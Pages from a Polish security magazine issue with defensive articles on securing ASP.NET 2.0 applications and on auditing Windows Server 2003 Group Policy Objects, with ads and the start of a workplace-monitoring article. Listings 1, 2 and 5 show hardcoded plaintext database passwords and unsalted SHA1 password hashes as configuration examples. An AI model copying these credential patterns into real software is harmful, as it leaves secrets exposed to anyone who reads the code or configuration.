Login i hasło jawnie przesyłane w nagłówku 
HTTP
Wykorzystanie tylko z SSL

Digest authentication

Przesyłanie hasha hasła

Windows Integrated au-
thentication

challenge-response, dwufazowe, NTLM

Mapowanie certyfi katów

Bardzo uniwersalne, obsługiwane przez 
wszystkie systemy
Możliwość mapowania certyfi katu na konto 
użytkownika techniką jeden-do-jednego oraz 
jeden-do-wielu
Możliwość przechowywania certyfi katów na 
bezpiecznych nośnikach

Kerberos

Wymaga Active Directory oraz Windows XP/
2000 u klienta

Rysunek 1. 

Elementy bezpieczeństwa na platformie .NET

Clients

Web Server

IIS

ASP.NET

IIS

ASP.NET

Web

Services

.NET

Remoting

SQL Server

Database Server

IIS

ASP.NET

Enterprise

Services

(COM+)

Secure Communication (SSL

 / IPSec)

background image
background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

36

na na stronach MSDN). Niestety ma 
ona jedną wadę, a jest nią sposób im-
plementacji usługi - do tego celu mu-
simy wykorzystać specjalny SDK.

ASP.NET 2.0 i elementy 

dla programisty

Wraz  z  ASP.NET  2.0  programiści 
dostali całkiem spory zasób kontro-
lek,  które  pozwalają  w  bardzo  pro-
sty  i  szybki  sposób  zaimplemento-
wać  proces  logowania  i  autoryzacji 
w  systemie.  Na  Rysunku  2.  widać 
zestaw  nowych  kontrolek,  które  są 
dostępne w Visual Studio.

Najważniejsze  z  tych  kontro-

lek to:

•   CreateUserWizard  –  uruchamia 

wizarda, dzięki któremu możemy 
stworzyć użytkownika,

•   Login – czyli logowanie,
•   LoginStatus  –  kontrolka  odpo-

wiadająca  za  stan  zalogowania 
– określa, czy użytkownik został 
zalogowany czy nie,

•   PasswordRecovery  –  możliwość 

odzyskania  hasła  na  podstawie 
jakieś tajemniczego pytania,

•   ChangePassword  –  kontrolka 

umożliwiająca  w  bardzo  prosty 
sposób zmianę hasła.

Co  najistotniejsze  z  punktu  widze-
nia programisty, to fakt, że pozbywa-
my się czasu na implementacje tego 
fragmentu aplikacji. Po prostu prze-
nosimy kontrolkę na formularz, a na-
stępnie  konfi gurujemy.  Cała  praca 
związana z tworzeniem przycisków, 
etykiet, podłączaniem do źródeł da-
nych  etc.  jest  już  zrobiona.  Na  Ry-
sunku 3. przedstawione zostały nie-
które  kontrolki  związane  z  logowa-
niem i użytkownikami.

Web Site Administration Tool

Bardzo istotnym elementem z punk-
tu  widzenia  bezpieczeństwa  aplika-
cji ASP.NET jest narzędzie Web Si-

te  Administration  Tool.  Jest  to  na-
rzędzie, dzięki któremu mamy możli-
wość utworzenia użytkowników, gru-
py  użytkowników,  serwera  poczto-
wego,  dostawców  usług  uwierzytel-
nienia, etc. Rysunek 4. przedstawia 
główny  ekran  tego  narzędzia.  Na-
rzędzie  to  jest  bardzo  proste  w  ob-

słudze i bardzo intuicyjne – aby np. 
stworzyć  nowego  użytkownika,  wy-
starczy w menu użytkownicy wybrać 
opcję New, a następnie podać odpo-
wiednie informacje, a użytkownik zo-
stanie założony.

Praca z danymi

Praca  z  danymi  w  przypadku  apli-
kacji  ASP.NET  odbywa  się  na  po-
dobnych zasadach, jak w przypadku 
zwykłych aplikacji okienkowych. Po-
trzebne nam jest źródło danych, po-
łączenie, zestaw zapytań oraz miej-

Listing 1. 

Przykładowa defi nicja użytkowników pliku web.confi g 

<authentication mode="Forms">
<forms name="frmLog" loginUrl="/logowanie.aspx">
     <credentials passwordFormat="SHA1">
          <

user

 name="Artur"

password

="07B7F3EE06F278DB966BE960E7CBBD103DF30CA6"/>

          <

user

 name="Karol"

          

password

="BA56E5E0366D003E98EA1C7F04ABF8FCB3753889"/>

     </credentials>
</forms>
</authentication>

Listing 2. 

Defi nicja połączenia do bazy danych w pliku app.confi g

  <connectionStrings>
    <

add

 name="DD_cnx"

        connectionString="Data Source=ARTURZ02\SQLEXPRESS;Initial Catalog=DeveloperDays;Persist Security Info=

True

;

User

 

ID=dd_user; 

Password

=haslo;"

        providerName="System.Data.SqlClient" />
  </connectionStrings>

Listing 3. 

Defi nicja połączenia do bazy danych w pliku web.confi g przed zaszyfrowaniem

<connectionStrings>
  <

add

 name="Pubs" connectionString="Server=localhost;Integrated Security=

True

;Database=Pubs"

    providerName="System.Data.SqlClient" />
  <

add

 name="Northwind" connectionString="Server=localhost;Integrated Security=

True

;Database=Northwind"

    providerName="System.Data.SqlClient" />
</connectionStrings>

Rysunek 2. 

Dostępne kontrolki do 

logowania w ASP.NET 2.0

background image

hakin9 Nr 7/2007

37

sce, do którego trafi ą wyniki nasze-
go  zapytania.  Źródłem  danych  mo-
że  być  dowolny  element:  baza  da-
nych, plik, obiekt, etc. Istotnym ele-
mentem jest sposób podłączenia się 
do naszego źródła. Najczęściej wy-
korzystuje  się  klasę  SqlConnection 
i podaje jako parametr Connection-

String. ConnectionString jest niczym 
innym,  jak  tylko  zestawem  informa-
cji, które pozwalają na identyfi kację 
serwera,  identyfi kację  bazy  danych 
oraz parametry użytkownika.

Nasz kod do połączenia z bazą da-

nych może wyglądać jak na Listingu 5.

W ten sposób zapisane dane nie 

są  jednak  bezpieczne.  Dlatego  też 
ConnectionString  można  przenieść 
do  pliku  Web.confi g.  Wtedy  w  pliku 
tym  pojawi  się  sekcja  podobna  do 
sekcji z Listingu 2.

Przenosząc jawnie zapisany ciąg 

połączenia do pliku Web.confi g, zro-
biliśmy pierwszy krok, aby zabezpie-
czyć się przed najprostszymi sposo-
bami włamania do serwera. Nieste-
ty w przypadku bardziej zaawanso-
wanych użytkowników również i taki 
sposób zapisu nie chroni nas przed 
niepowołanym  dostępem.  Dlatego 
też  wraz  z  ASP.NET  mamy  możli-
wość szyfrowania ConnectionString 
w plikach Web.confi g. Do tego celu 
wykorzystujemy  polecenie  dostęp-
ne w ramach .NET Framework: asp-
net_regiis. Jeśli nasz plik web.confi g 
wygląda tak jak na Listingu 3.

To po wykonaniu polecenia:

aspnet_regiis -pe 
      "connectionStrings"
      -app "/NaszaAplikacja"

Rysunek 3. 

Wygląd poszczególnych kontrolek na formularzu

www.hakin9.org

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

38

Dostaniemy wynik jak na Listingu 4.

Gdzie w polu CipherValue będzie 

zaszyfrowany nasz ciąg.

Serwer WWW

Oczywiście  nie  tylko  sama  aplika-
cja  musi  być  bezpieczna.  Ważne 
jest też, aby i serwer WWW był bez-
pieczny.  Co  może  sprawić,  ze  na-
sza  aplikacja  będzie  działać  bez-
piecznie?  Oczywiście  szyfrowa-
nie  transmisji  danych  przy  wyko-
rzystaniu  protokołu  SSL.  SSL  (Se-

cure Socket Layer) jest protokołem 
sieciowym używanym do bezpiecz-
nych  połączeń  internetowych.  Zo-
stał  opracowany  przez  fi rmę  Net-
scape i powszechnie go przyjęto ja-
ko standard szyfrowania na WWW. 
Normalnie  strony  z  serwerów  oraz 
formularze  do  serwera  są  prze-
syłane  przez  Sieć  otwartym  tek-
stem, który stosunkowo łatwo prze-
chwycić (szczególnie w Sieci lokal-
nej).  Jeśli  serwer  używa  protokołu 
SSL  do  komunikacji  z  przeglądar-
ką, wówczas informacja w obie stro-
ny (między serwerem WWW i prze-
glądarką) jest przesyłana przez sieć 
w  sposób  zaszyfrowany,  co  odszy-
frować  jest  już  stosunkowo  trudno. 
SSL realizuje szyfrowanie, uwierzy-

telnienie serwera (ewentualnie użyt-
kownika  również)  i  zapewnienie  in-
tegralności  oraz  poufności  przesy-
łanych informacji. W momencie na-
wiązania  połączenia  z  bezpiecz-
ną  (stosującą  protokół  SSL)  stroną 
www  następuje  ustalenie  algoryt-
mów oraz kluczy szyfrujących, sto-
sowanych następnie przy przekazy-
waniu danych między przeglądarką 
a serwerem WWW.

Podsumowanie

Bezpieczeństwo aplikacji nie jest już 
wyłącznie  domeną  administratorów. 
Szczególnego  znaczenia  nabiera-
ją  te  słowa  w  przypadku  tworzenia 
aplikacji  WWW.  ASP.NET  2.0  daje 
szerokie możliwości zabezpieczenia 
się  przed  niepowołanym  dostępem. 
Oczywiście nieuniknione jest wspar-
cie  ze  strony  systemu  operacyjne-

W Sieci

•   ofi cjalna strona ASP.NET – http://www.asp.net/,
•   bezpieczeństwo aplikacji ASP.Net przygotowane przez grupę Patterns & Practices 

– http://msdn2.microsoft.com/en-us/library/ms998372.aspx,

•   fragment  książki  –  ASP.NET  2.0  security  –  http://www.awprofessional.com/

articles/article.asp?p=351414&rl=1,

•   książka  Developing  More-Secure  Microsoft®  ASP.NET  2.0  Applications  – 

http://www.microsoft.com/mspress/books/9989.aspx,

•   podstawy SSL – http://pl.wikipedia.org/wiki/Transport_Layer_Security,
•   SSL teoria – http://mufl on.photosite.pl/doc/progzesp/ssl.html.

Rysunek 4. 

Widok główny narzędzia Web Site Administration Tool

go  oraz  serwera  WWW,  niemniej 
jednak  sama  platforma  .NET  oferu-
je całkiem spore możliwości. Niniej-
szy artykuł bardzo ogólnie przedsta-
wił podstawowe elementy, aby poka-
zać  czytelnikom,  jak  zabrać  się  za 
aspekty bezpieczeństwa i bezpiecz-
nego tworzenia aplikacji WWW. Nikt 
nie powinien twierdzić, że tworzenie 
bezpiecznych  aplikacji  jest  banalnie 
proste,  ale  jednocześnie  nie  można 
popadać  w  druga  skrajność.  Umie-
jętne  użycie  gotowych  mechani-
zmów pozwoli nam na bardziej efek-
tywną i twórczą pracę bez koniecz-
ności skupiania się na najmniejszych 
detalach  związanych  z  implemen-
tacją  naszej  aplikacji  (jak  np.  zmia-
na  lub  przypomnienie  zapomniane-
go hasła) l

Listing 4. 

Defi nicja połączenia 

do bazy danych w pliku 

web.confi g po wykonaniu 

polecenia aspnet_regiis

<connectionStrings>
  <EncryptedData>
    <CipherData>
      <CipherValue>AQAAANCMndjHoAw
           </CipherValue>
    </CipherData>
   </EncryptedData>
</connectionStrings>

Listing 5. 

Kod połączenia z 

bazą danych

SqlConnection cnxPolaczenie =
      New SqlConnection

(

            „Data Source=
      ARTURZ02\SQLEXPRESS;
Initial Catalog=DeveloperDays;
      Persist Security Info=
            

True

;

User

 ID=dd_user;

      

Password

=haslo;”

)

;

background image

Media Systems

Firma Media Systems oferuje Państwu 

profesjonalny system CashBill.pl, 

umożliwiający  zarządzanie  usługami 

SMS  Premium  Rate  w  sektorze  B2B 

i B2C.

Oferujemy  również  szeroki  wachlarz 

usług mikropłatniczych, płatności 

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie 

aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie 

komputerowe - 

sprzedaż,  dystrybucja  oraz import na 

zamówienie.  W  ofercie  programy  au-

torstwa ponad stu fi rm z całego świa-

ta. Zapraszamy do współpracy - zostań 

naszym klientem lub dostawcą. 

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijająca 

się fi rma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy  rozwiązania  dla  biznesu 

i  zarządzania  takie  jak  systemy  ERP 

czyli zarządzanie zasobami fi rmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter  IT  świadczy  również  usługi  in-

ternetowe - serwisy www, e-commerce, 

tworzenie  aplikacji  internetowych  oraz 

systemów zarządzania treścią. 

www.zepterit.com

Pr

en

um

er

at

PR

O

Prenumerata PRO

ko

nt

ak

t d

na

s:

 

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l. 

: 2

88

13

 4

5

background image

www.hakin9.org

hakin9 Nr 7/2007

40

Obrona

C

ałościowe spojrzenie na środowisko in-
formatyczne  firmy  pokazuje,  że  skła-
dają  się  na  nie  nie  tylko  serwery,  ale 

wszelkie,  szeroko  rozumiane  zasoby  uczestni-
czące w procesie przetwarzania informacji np. 
stacje robocze, użytkownicy, drukarki etc. Stąd 
zapewnienie  bezpieczeństwa  jest  uzależnione 
od  mechanizmu  spinającego  wszystkie  zaso-
by  i  wprowadzającego  nad  nimi  jednolitą  kon-
trolę. Takim mechanizmem kontrolnym w środo-
wisku Microsoft Windows Server jest Active Di-
rectory (AD).

GPO - klucz do 

bezpieczeństwa

Active Directory jest zaawansowaną usługą ka-
talogową, czyli bazą danych obiektów o drze-
wiastej strukturze, reprezentującą infrastruktu-
rę teleinformatyczną firmy. W AD można ująć 
takie  obiekty,  jak  np.  użytkownik,  komputer, 
udziały Sieciowe, drukarka oraz to, co nas bę-
dzie  najbardziej  interesować  -  obiekty  polity-
ki grupy (Group Policy Object – GPO). Obiek-
ty  GPO  pozwalają  na  określenie  zestawów 
uprawnień  dla  użytkowników,  komputerów  i 
serwerów znajdujących się w zasięgu ich dzia-
łania. Dzięki nim można kontrolować ustawie-

nia i środowisko systemów pracujących w do-
menie,  dotyczy  to  więc  takich  zagadnień,  jak 
chociażby  zasady  haseł,  przeprowadzanie  in-
spekcji,  konfiguracja  protokołów,  dystrybucja 
oprogramowania i wielu innych. Główną korzy-
ścią, wynikającą z posługiwania się GPO jest 
jednak  ujednolicenie  i  zabezpieczenie  infra-
struktury Sieci oraz środowiska pracy użytkow-
ników. Obiekty GPO mogą być podłączane do 
lokalizacji  (site),  domen  (domains)  i  jednostek 
organizacyjnych (organization unit), przy czym 
każdy z tych obiektów również może mieć pod-
łączonych  wiele  różnych  obiektów  GPO,  któ-

Windows 2003 Server – 

audyt GPO

Piotr Błaszczeć, Tadeusz Calanca

stopień trudności

Dziś, mimo że rzeczywiście wersje serwerowe przypominają 

wyglądem swoje odpowiedniki znane z desktopów (o co ma 

pretensje wielu z administratorów, wybierając przez to rozwiązania 

oparte na różnych dystrybucjach Linux) wiele firm, a szczególnie 

korporacji, w tym także takie, dla których bezpieczeństwo to sprawa 

kluczowa, wdraża rozwiązania oparte na serwerach firmy Microsoft.

Z artykułu dowiesz się

•   co to jest GPO ?
•   jaki wpływ na bezpieczeństwo mają GPO ?
•   jak szybko audytować struktury GPO ?

Co powinieneś wiedzieć

•   podstawy administracji Windows Server,
•   znajomości podstawowych zasad bezpieczeń-

stwa systemów IT.

background image

Audyt informatyczny środowiska GPO

hakin9 Nr 7/2007

www.hakin9.org

41

rych  kolejność  występowania  moż-
na  zmieniać.  Zasięg  działania  po-
lityki  zależy  tu  od  położenia  obiek-
tu w strukturze AD, ustawienia dzie-
dziczenia polityk oraz praw dostępu. 
Obiekty GPO są domyślnie dziedzi-
czone, co oznacza, że skonfigurowa-
nie opcji w GPO na poziomie dome-
ny  włączy  je  w  jednostkach  organi-
zacyjnych  tej  domeny.  Zasady  grup 
przetwarzane są w następującej ko-
lejności:  lokalny  komputer,  lokacja, 
domena,  jednostka  organizacyjna 
nadrzędna,  jednostka  organizacyj-
na  podrzędna,  przy  czym  kolejno 
przetworzone obiekty GPO zastępu-
ją zasady ustawione wcześniej. Przy 
zmianie  ustawień  GPO,  komputery 
odświeżają  je  bez  konieczności  re-
startu: na kontrolerach domeny co 5 
minut,  na  pozostałych  komputerach 
co 90 minut wraz z losowym interwa-
łem  czasowym  maksymalnie  wyno-
szącym 30 minut. Wyjątek stanowią 
procesy instalacji oprogramowania i 
przekierowania  na  ścieżki  Sieciowe 
niektórych  folderów  użytkowników 
(folder  redirection),  które  to  proce-
sy zachodzą bezpośrednio przy star-
cie  komputera  i  zalogowaniu  użyt-
kownika. Można także wymusić na-

tychmiastowe odświeżenie zasad na 
komputerze  za  pomocą  narzędzia 
konsolowego gpupdate.

Wszystkie  ustawienia  obiektu 

GPO dostępne są w strukturze drze-
wiastej, można je jednak podzielić na 
dwie główne gałęzie:

•   Computer Configuration – zasady 

stosowane  do  każdego  kompute-
ra, bez względu na to, który użyt-
kownik jest zalogowany; nakładane 
podczas uruchomienia systemy,

•   User  Configuration  -  stosowane 

dla  konkretnych  użytkowników, 
po uwierzytelnieniu tożsamości.

Microsoft  zaleca,  aby  minimalizo-
wać  ilość  obiektów  GPO,  gdyż  ich 
przetwarzanie  wpływa  na  wydaj-
ność  i  komplikuje  zarządzanie  Sie-
cią.  Stąd  propozycja  utworzenia  3 

warstw GPO:

•   warstwa polityki domeny (Default 

Domain Policy) zawierająca usta-
wienia  parametrów  bezpieczeń-
stwa  wspólnych  dla  domeny,  ta-
kich jak np. polityka haseł,

•   warstwa polityki bazowej (baseli-

ne  settings)  –  zawierająca  usta-

wienia wspólne dla komputerów i 
użytkowników w domenie,

•   warstwa jednostki organizacyjnej 

– zawierająca ustawienia specy-
ficzne dla danej jednostki organi-
zacyjnej.

Aby  utworzyć  i  podłączyć  obiekt 
GPO  uruchamiamy  Active  Directo-

ry  Users  and  Computers,  wybiera-
my  Properties  (właściwości)  obiek-
tu,  do  którego  chcemy  podłączyć 
GPO,  a  następnie  zakładkę  Group 

Policy.  Domyślnie  do  domeny  dołą-
czony jest obiekt GPO o nazwie De-

fault Domain Policy. Na wszelki wy-
padek pozostawimy go bez zmian, a 
stworzymy i dołączymy nowy obiekt 
GPO.

Tworzymy  nowy  obiekt  GPO  za 

pomocą  przycisku  New,  określa-
my  jego  nazwę  np.  FIRMA-DDP,  a 
następnie  przechodzimy  do  edyto-
ra Group Policy Object Editor przez 
kliknięcie przycisku Edit. W ten spo-
sób uzyskujemy dostęp do całej kon-
figuracji obiektu GPO.

Dobrym  przykładem  ustawiania 

parametrów  GPO  będzie  wprowa-
dzenie  polityki  haseł.  Problem  ha-
seł to bardzo istotna sprawa nie tylko 
dotycząca zabezpieczenia Sieci, ale 
kluczowa  również  dla  samych  użyt-
kowników korporacji. Należy bowiem 
pamiętać,  że  przy  obecnym  podej-
ściu do bezpieczeństwa i przykłada-
niu dużej wagi do informacji, podsta-
wą  budowania  jakichkolwiek  polityk 
czy też polis jest pełna rozliczalność 
użytkowników.  W  90%  Sieci  jedyną 
ochroną  identyfikatora  (loginu)  da-
nego  użytkownika  w  Sieci  pozosta-
je hasło. Parametry związane z po-
lityką haseł możemy ustalić na pod-
stawie zaleceń NSA (National Secu-

rity  Agency)  oraz  uregulowań  zwią-
zanych  z  ochroną  danych  osobo-
wych.  Dysponując  wytycznymi  albo 
polityką można przystąpić do konfi-
guracji GPO. Ustawienia GPO zwią-
zane  z  polityką  haseł  znajdują  się 
w  gałęzi  Computer  Configuration\

Windows Settings\Account Policies\

Password  Policy.  I  tak,  chcąc  przy-
kładowo  zmienić  ustawienie  mini-
malnej długości hasła Minimum pas-

sword length, nawigujemy do klucza 

Rysunek 1. 

Dodawanie nowego obiektu GPO - zauważmy, że do domeny 

podczepiony został już Default Domain Policy

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

42

Computer  Configuration\Windows 

Settings\Account Policies\Password 

Policy\Minimum  password  length  i 
zmieniamy  parametr  (8  characters). 
Podobnie postępujemy z innymi pa-
rametrami.

Zgodnie  z  polityką  haseł,  usta-

wiamy  wszystkie  inne  parametry  w 
obiektach GPO, przy czym stosując 
się  do  zaleceń  Microsoftu,  rozpo-
czynamy  od  ustawień  dotyczących 
obiektów w warstwie polityki dome-
ny.  Zmiany  w  GPO  mogą  być  do-
konywane także za pomocą narzę-
dzia  Security  Configuration  Wizard 
(SCW). SCW pozwala na podstawie 
określonej roli serwera (WWW, kon-
troler domeny etc.) ustalić i wprowa-
dzić  bazowy  poziom  bezpieczeń-
stwa.  W  ten  sposób  można  bez-
piecznie skonfigurować system, nie 
orientując  się  dokładnie  w  struk-
turach  GPO.  Dodatkowo  podczas 
konfigurowania  systemu  za  pomo-
cą  GPO  można  wykorzystać  tzw. 

Security  Templates  (ST).  ST  to  nic 
innego jak pewien szablon ustawień 
mających  wpływ  na  bezpieczeń-
stwo  systemu.  Ustawienia  te  kon-
figurowane  za  pomocą  GPO  mo-
gą być importowane do postaci ST. 
W ten sposób można wielokrotnie z 
nich korzystać, nie przechodząc za 
każdym razem od początku całego 
procesu konfigurowania GPO. Wraz 
z  systemem  Windows  2003  Server 
dostarczane  są  już  gotowe  szablo-
ny, które bez modyfikacji lub z ma-
łymi poprawkami mogą być z powo-
dzeniem stosowane w Sieciach. Do-
starczone  szablony  określają  usta-
wienia zabezpieczeń na dwóch po-
ziomach:

•   szablony  bezpieczne  (Secu-

re*.inf)  -  określają  zaawanso-
wane  ustawienia  zabezpieczeń, 
dla których prawdopodobieństwo 
wpływu  na  zgodność  aplikacji 
jest  niewielkie  (np.  ustawienia 
haseł, blokowania i inspekcji),

•   szablony bardzo bezpieczne (Hi-

sec*.inf)  -  są  nadzbiorami  sza-
blonów bezpiecznych i narzucają 
dodatkowe  ograniczenia  na  po-
ziomy  szyfrowania  i  podpisywa-
nia, które są wymagane do uwie-

rzytelniania i dla danych przepły-
wających  przez  kanały  zabez-
pieczone  oraz  między  klientami 
i serwerami SMB.

Globalizacja ustawień

GPO tworzy się z myślą o globaliza-
cji pewnych ustawień. Intencją owe-
go  artykułu  nie  jest  przedstawienie 
krok po kroku, jak tworzyć ustawie-
nia, lecz zwrócenie uwagi na newral-
giczne miejsca, na które szczególnie 
trzeba zwrócić uwagę. Przykładowo 
przyjrzyjmy się kwestii synchroniza-
cji czasu w Sieci. Jak wiadomo, rozli-

czalność zasobów jest uwarunkowa-
na ustaleniem jednolitego czasu i je-
go  synchronizowaniem.  Tak  więc  w 
Sieci  podstawą  jest  stworzenie  ser-
wera czasu, który będzie dyktował i 
regulował  czas  na  wszystkich  koń-
cówkach.  GPO  pozwala  na  szybkie 
wprowadzenie  takiego  mechanizmu 
dla całej Sieci. Wystarczy przyjrzeć 
się  gałęzi  Computer  Configuration/

Administrative Components/System/

Windows Time Service.

Inny  przykład  zastosowania 

GPO: nie jest tajemnicą, że najwięk-
szym zagrożeniem w czasie ochrony 

Rysunek 2. 

Struktura ustawień obiektów GPO

Rysunek 3. 

Na początek ustawiamy parametr określający minimalną 

długość hasła

background image

Audyt informatyczny środowiska GPO

hakin9 Nr 7/2007

www.hakin9.org

43

Sieci jest człowiek i jego nieumiejęt-
ne, przypadkowe lub świadome dzia-
łanie.  Najbardziej  skuteczna  polity-

ka  bezpieczeństwa  jest  polityką  re-
strykcyjną i tak właśnie powinien być 
ograniczony  człowiek,  by  mógł  ko-
rzystać tylko z tego, co jest mu nie-
zbędne.  Dlatego  też  bardzo  dobrą 
praktyką  jest  zdefiniowanie  global-
nych  ustawień  przeglądarki  Siecio-
wej, a przede wszystkim Sieci.

GPO  pozwalają  na  ustawienie 

wielu  innych  parametrów  o  charak-
terze  globalnym  dla  Sieci.  Warto  tu 
wspomnieć choćby o konfigurowaniu 
uprawnień  dla  usług  i  członkowstwa 
w  grupach,  kontrolowaniu  połączeń 
w powolnych Sieciach czy też zarzą-
dzaniu połączeniami opartymi na pro-

tokole IPSec. Można także definiować 
wygląd i ograniczenia pulpitów, ogra-
niczenia  dla  programów,  ustawienia 
panelu sterowania i operację przekie-
rowania folderów i wiele innych.

Dysponując  bazowymi  ustawie-

niami GPO dla domeny, w kolejnym 
kroku należy stworzyć obiekty GPO 
warstwy bazowej dla serwerów oraz 
dla poszczególnych jednostek orga-
nizacyjnych. Dobrą praktyką jest też 
stworzenie  GPO  w  związku  z  rolą, 
jaką  pełnią  serwery  np.  szczegóło-
wa polityka GPO dla serwerów we-
bowych IIS.

Audyt GPO

Obiekty  GPO  są  elementem  kluczo-
wym  w  zapewnieniu  bezpieczeństwa 
Sieci,  stąd  potrzeba  ich  regularnego 
przeglądu  i  kontroli.  Jak  się  okazuje, 
audyt GPO dzięki dostarczanym przez 
Microsoft narzędziom nie jest operacją 
skomplikowaną. Podstawowym narzę-
dziem pracy administratora i audytora, 
które pozwala na zarządzanie i doko-
nywanie przeglądu GPO w skali całej 
firmy  jest  Group  Policy  Management 

Console – GPMC (Konsola Zarządza-
nia  Polityką  Grupową).  Narzędzie  to 
pozwala w praktyce na dowolne ope-
racje z obiektami GPO. To co w audy-
cie najbardziej istotne, to fakt, że dzięki 
niemu możliwe jest sporządzenie bar-
dzo  dokładnej  dokumentacji  wprowa-
dzonych obiektów GPO i ich ustawień, 
a w dalszej kolejności – podczas prze-
prowadzania  audytu  bezpieczeństwa 
– ich przegląd i ocena. GPMC posia-
da także możliwość planowania zmian 
w zasadach grupy, co umożliwia m.in. 
określenie  skutków  zmian  w  struk-
turach  GPO,  skutków  przeniesienia 
konta  użytkownika  do  nowej  jednost-
ki organizacyjnej czy zmiany kolejno-
ści  przetwarzania  obiektów  GPO  itd. 
GPMC  jest  przystawką  do  Microsoft 
Management Konsole i wymaga osob-
nej  instalacji.  Program  jest  dostępny 
ze  stron  Microsoft  Download  Center
Po  zainstalowaniu,  narzędzie  Group 

Policy  Management  Console  dostęp-
ne jest w Administrative Tools (Narzę-
dzia  administracyjne).  Uruchomienie 
programu przywołuje okno z  struktu-
rą AD firmy oraz wszystkimi obiektami 
GPO do nich podłączonymi. Przygoto-

Rysunek 4. 

Konsola GPMC - tworzenie dokumentacji obiektów GPO

Rysunek 5. 

Konsola GPMC - zobaczmy wynikowe ustawienia na stacji

O autorach

Piotr Błaszczeć – specjalista ds. Bezpie-
czeństwa IT, audytor systemów IT, bie-
gły sądowy, na co dzień Główny Specja-
lista Bezpieczeństwa w jednej z agencji 
rządowych członek ISACA International.
Kontakt do autora: pb@locos.pl
Tadeusz Calanca – specjalista IT, au-
dytor IT, biegły sądowy, na co
dzień administrator bezpieczeństwa in-
formacji. Kontakt do autora:tc@locos.pl

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

44

wanie dokumentacji GPO jest bardzo 
proste:  po  wybraniu  wcześniej  utwo-
rzonego  i  skonfigurowanego  obiektu 
GPO  DDP  –  Firma,  można  uzyskać 
w  zakładce  Settings  gotowy  wydruk 
wprowadzonych ustawień w GPO.

Wydruk przygotowany w taki spo-

sób  jest  doskonałym  materiałem  na 
check-listę  wykorzystywaną  podczas 
audytu;  pozwala  na  łatwe  określenie, 
czy systemy są skonfigurowane zgod-
nie z przyjętą polityką. Nie można jed-
nak  zapomnieć  o  tym,  że  ustawienia 
danej  stacji  czy  danego  serwera  nie 
zależą  wyłącznie  od  jednego  obiektu 
GPO, lecz są wynikiem nałożenia się 
wszystkich obiektów, mających z nim 
związek. Stąd bardziej miarodajne sta-
je się przeprowadzenie audytu nie tyl-
ko samych obiektów GPO i ich odwo-

łań, ale także wprowadzonych na sta-
cjach  ustawień.  Audytor  przeprowa-
dza próbkowanie i wybiera stacje, któ-
re podda badaniu. Potrzebuje jedynie 
narzędzia, które pozwoli na uzyskanie 
niezbędnych informacji ze stacji obję-
tych audytem. Konsola GPMC posiada 
takie  narzędzie.  Jest  to  Group  Policy 
Results  Wizard.  Po  wybraniu  kompu-
tera, którego ma dotyczyć audyt, audy-
tor uzyskuje zbiorczą informację o tym, 
jakie obiekty GPO były aplikowane, w 
jakiej kolejności, a w rezultacie dowia-
duje się, jakie ustawienia GPO zostały 
przypisane dla każdego komputera.

Poprzez  porównanie  owych  infor-

macji z wcześniej zabraną dokumen-
tacją GPO, audytor może ocenić, czy 
komputery  są  właściwie  skonfiguro-
wane,  czy  podłączone  są  właściwe 

obiekty GPO, a przede wszystkim, czy 
założona polityka bezpieczeństwa jest 
w Sieci skutecznie realizowana. Głów-
ną zaletą narzędzia GPMC jest jednak 
fakt, że pozwala ono na dostęp do in-
formacji o ustawieniach bez możliwo-
ści ich zmiany np. przez generowanie 
raportów. Na zlecenie audytora, admi-
nistrator  realizuje  przygotowanie  ra-
portu, zaś sam audytor nie musi mieć 
uprawnień administracyjnych.

Podsumowanie

Prawidłowo  wdrożone  i  utrzymane 
GPO  warunkują  bezpieczeństwo  in-
frastruktury  Windows  Server.  Szcze-
gólną rolę pełnią w tej kwestii przed-
stawione narzędzia. Początkujący ad-
ministrator z powodzeniem może wy-
korzystać Security Configuration Wiz-

zard do wprowadzenia podstawowych 
zasad bezpieczeństwa. Bardziej biegli 
administratorzy  będą  sami  zmieniali 
ustawienia w GPO, zaś audytorzy wy-
korzystają z pewnością Group Policy 

Management Console.

Niniejszy artykuł w oczywisty spo-

sób  nie  wyczerpuje  tematu  bezpie-
czeństwa  związanego  z  obiektami 
GPO.  Omówienie  wszystkich  możli-
wych  ustawień  to  materiał  na  opasłą 
księgę, w dodatku wiele z ustawień nie 
ma charakteru uniwersalnego i ich za-
stosowanie  jest  uzależnione  od  spe-
cyfiki  firmy.  Intencją  autorów  nie  by-
ło jednak pokazanie wszystkich moż-
liwości GPO, a jedynie unaocznienie, 
jak  potężnym  narzędziem  są  obiekty 
GPO i w jaki sposób można efektyw-
nie  przeprowadzać  audyt  tych  obiek-
tów. l

Rysunek 7. 

Ustawianie serwera proxy dla Sieci

Rysunek 6. 

Ustawianie czasu w Sieci

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

46

Obrona

C

ałkiem niedawno naukowcy z współpra-
cującego  z  Uniwersytetem  Oxfordzkim 
Institute for the Future of the Mind opu-

blikowali raport, w którym stwierdzają, że wyko-
nywanie  wielu  czynności  jednocześnie  spowal-
nia naszą pracę i powoduje, że popełniamy wię-
cej błędów. Nie odkryli tu chyba niczego nowe-
go,  gdyż  zarządy  dużych  firm  już  dawno  temu 
stwierdziły, że jeśli osoba pracująca przy kompu-
terze ma wykonywać swe zadania efektywnie, to 
trzeba ją pozbawić wszelkich potencjalnych źró-
deł rozproszeń. Zakaz używania komunikatorów, 
prywatnej poczty czy przeglądania serwisów ze 
śmiesznymi filmami to tylko początek tych dzia-
łań. Siadając przed monitorem komputera w du-
żej firmie, podłączamy się do bardzo skompliko-
wanego i wyrafinowanego systemu monitorowa-
nia naszej pracy. Wielki brat dokładnie wie, kie-
dy tę pracę zaczynamy i kiedy kończymy, wie, jak 
ją wykonujemy i czy przypadkiem nie wysyłamy 
maili do konkurencji. O tym, że się obijasz i grasz 
w kulki zamiast pracować nie doniesie już nikt z 
kolegów, ale komputer.

